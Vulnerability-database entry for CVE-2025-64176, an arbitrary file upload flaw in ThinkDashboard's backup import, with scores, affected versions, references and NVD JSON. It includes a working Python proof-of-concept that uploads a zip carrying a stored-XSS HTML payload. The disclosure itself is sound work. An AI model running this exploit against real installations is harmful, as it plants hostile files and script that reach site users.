Security Vulnerability Report
中文
CVE-2025-64176 CVSS 5.3 MEDIUM

CVE-2025-64176

Published: 2025-11-06 22:15:44
Last Modified: 2025-11-21 16:40:13

Description

ThinkDashboard is a self-hosted bookmark dashboard built with Go and vanilla JavaScript. In versions 0.6.7 and below, an attacker can upload any file they wish to the /data directory of the web application via the backup import feature. When importing a backup, an attacker can first choose a .zip file to bypass the client-side file-type verification. This could lead to stored XSS, or be used for other nefarious purposes such as malware distribution. This issue is fixed in version 0.6.8.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:matiasdesuu:thinkdashboard:*:*:*:*:*:*:*:* - VULNERABLE
ThinkDashboard < 0.6.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64176 PoC - ThinkDashboard Arbitrary File Upload via Backup Import This PoC demonstrates how to bypass client-side file type validation and upload arbitrary files to the /data directory. """ import zipfile import io import requests TARGET_URL = "http://target.com" # Replace with actual target URL BACKUP_UPLOAD_ENDPOINT = f"{TARGET_URL}/api/backup/import" def create_malicious_zip(): """Create a zip file containing malicious content""" zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: # Create a file with malicious XSS payload malicious_html = '''<!DOCTYPE html> <html> <head><title>XSS</title></head> <body> <script>alert(document.cookie)</script> </body> </html>''' zip_file.writestr("malicious.html", malicious_html) # Add other potentially dangerous files zip_file.writestr("payload.js", "// malicious javascript") zip_buffer.seek(0) return zip_buffer.getvalue() def exploit(): """Exploit the arbitrary file upload vulnerability""" print("[*] Creating malicious zip file...") zip_content = create_malicious_zip() print(f"[*] Target: {TARGET_URL}") print("[*] Uploading malicious backup file...") files = { 'backup': ('backup.zip', zip_content, 'application/zip') } try: response = requests.post(BACKUP_UPLOAD_ENDPOINT, files=files, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] File uploaded successfully!") print("[+] Access the uploaded file at: /data/malicious.html") else: print("[-] Upload failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64176", "sourceIdentifier": "[email protected]", "published": "2025-11-06T22:15:43.877", "lastModified": "2025-11-21T16:40:12.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ThinkDashboard is a self-hosted bookmark dashboard built with Go and vanilla JavaScript. In versions 0.6.7 and below, an attacker can upload any file they wish to the /data directory of the web application via the backup import feature. When importing a backup, an attacker can first choose a .zip file to bypass the client-side file-type verification. This could lead to stored XSS, or be used for other nefarious purposes such as malware distribution. This issue is fixed in version 0.6.8."}, {"lang": "es", "value": "ThinkDashboard es un panel de marcadores autoalojado construido con Go y JavaScript puro. En las versiones 0.6.7 e inferiores, un atacante puede subir cualquier archivo que desee al directorio /data de la aplicación web a través de la función de importación de copias de seguridad. Al importar una copia de seguridad, un atacante puede primero elegir un archivo .zip para eludir la verificación del tipo de archivo del lado del cliente. Esto podría conducir a XSS almacenado, o ser utilizado para otros propósitos nefastos como la distribución de malware. Este problema está solucionado en la versión 0.6.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:matiasdesuu:thinkdashboard:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.6.8", "matchCriteriaId": "60EB1ECB-DC80-4185-8EB8-1276C74DF6D0"}]}]}], "references": [{"url": "https://github.com/MatiasDesuu/ThinkDashboard/commit/18d2f6aded0d6424cc4c8619731dd20563f4cfd8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/MatiasDesuu/ThinkDashboard/security/advisories/GHSA-jvmw-hg62-jr47", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}